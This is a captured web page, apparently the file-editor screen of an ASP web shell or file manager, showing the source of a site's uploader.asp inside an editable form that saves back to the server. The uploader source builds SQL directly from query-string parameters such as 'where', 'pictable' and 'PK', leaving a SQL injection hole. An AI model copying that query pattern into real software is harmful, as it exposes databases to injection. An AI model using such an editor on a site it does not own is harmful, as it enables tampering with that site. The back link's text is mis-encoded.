Modifica di un file

<title>Modifica di un file</title>
Modificare il file: <i>\Admin\Cancella\uploader.asp</i><br><form method=post action="edit.asp?action=save&dir=\Admin\Cancella&file=uploader.asp"><textarea name='content' style='width: 700px;' rows=20 cols=70>&lt;%@ Language=VBScript %&gt;

&lt;link REL=&quot;stylesheet&quot; href=&quot;include/style.css&quot; type=&quot;text/css&quot;&gt;

&lt;!--#INCLUDE FILE=&quot;include/clsUpload.asp&quot;--&gt;
&lt;!--#include file=&quot;include/Prodotti_dbconnection.asp&quot;--&gt;
&lt;!--#include file=&quot;include/Prodotti_aspfunctions.asp&quot;--&gt;
&lt;!--#include file=&quot;include/Prodotti_variables.asp&quot;--&gt;

&lt;%
Dim objUpload
Dim strFileName
Dim objConn
Dim objRs
Dim lngFileID

strTable = Request.QueryString(&quot;pictable&quot;)
strField = Request.QueryString(&quot;picfield&quot;)
sWhere = Request.QueryString(&quot;where&quot;)
strPK = Request.QueryString(&quot;PK&quot;)
strBack = Request.QueryString(&quot;Back&quot;)
if strBack=&quot;&quot; then
	strBack=1
else
	strBack = CStr(CLng(strBack)+1)
end if

if Request.TotalBytes&gt;0 then

	' Instantiate Upload Class
	Set objUpload = New clsUpload

	' Grab the file name
	strFileName = objUpload.Fields(&quot;File1&quot;).FileName

	Set objConn = Server.CreateObject(&quot;ADODB.Connection&quot;)
	Set objRs = Server.CreateObject(&quot;ADODB.Recordset&quot;)

	objConn.Open strConnection

	objRs.Open &quot;SELECT &quot; &amp; strPK &amp; &quot;, &quot; &amp; AddWrappers(strField) &amp; &quot; FROM &quot; &amp; AddWrappers(strTable) &amp; &quot; WHERE &quot; &amp; sWhere, objConn, adOpenKeyset, adLockOptimistic
	objRs.Fields(strField).AppendChunk objUpload(&quot;File1&quot;).BLOB &amp; ChrB(0)

	objRs.Update
	objRs.Close

	Set objRs = Nothing
	Set objConn = Nothing
	Set objUpload = Nothing
	Response.Write &quot;File has been saved in database&lt;BR&gt;&lt;BR&gt;&quot;
end if

%&gt; 

&lt;a href=&quot;#&quot; onclick=&quot;history.go(-&lt;%=strBack%&gt;);return false;&quot;&gt;Back to editing&lt;/a&gt;&lt;br&gt;&lt;br&gt;

&lt;img src=&quot;imager.asp?pictable=&lt;%=HTMLEncode(strTable)%&gt;&amp;picfield=&lt;%=HTMLEncode(AddWrappers(strField))%&gt;&amp;where=&lt;%=HTMLEncode(sWhere)%&gt;&quot;&gt;

&lt;FORM method=&quot;post&quot; encType=&quot;multipart/form-data&quot; action=&quot;uploader.asp?pictable=&lt;%=HTMLEncode(strTable)%&gt;&amp;picfield=&lt;%=HTMLEncode(strField)%&gt;&amp;where=&lt;%=HTMLEncode(sWhere)%&gt;&amp;PK=&lt;%=HTMLEncode(strPK)%&gt;&amp;Back=&lt;%=HTMLEncode(strBack)%&gt;&quot;&gt;
	&lt;INPUT type=&quot;File&quot; name=&quot;File1&quot;&gt;
	&lt;INPUT type=&quot;Submit&quot; value=&quot;Upload&quot;&gt;
&lt;/FORM&gt;
</textarea><br><input type=submit value='Save !'></form>[<a href="sfmanager.asp?dir=%5CAdmin%5CCancella">Íàçàä</a>]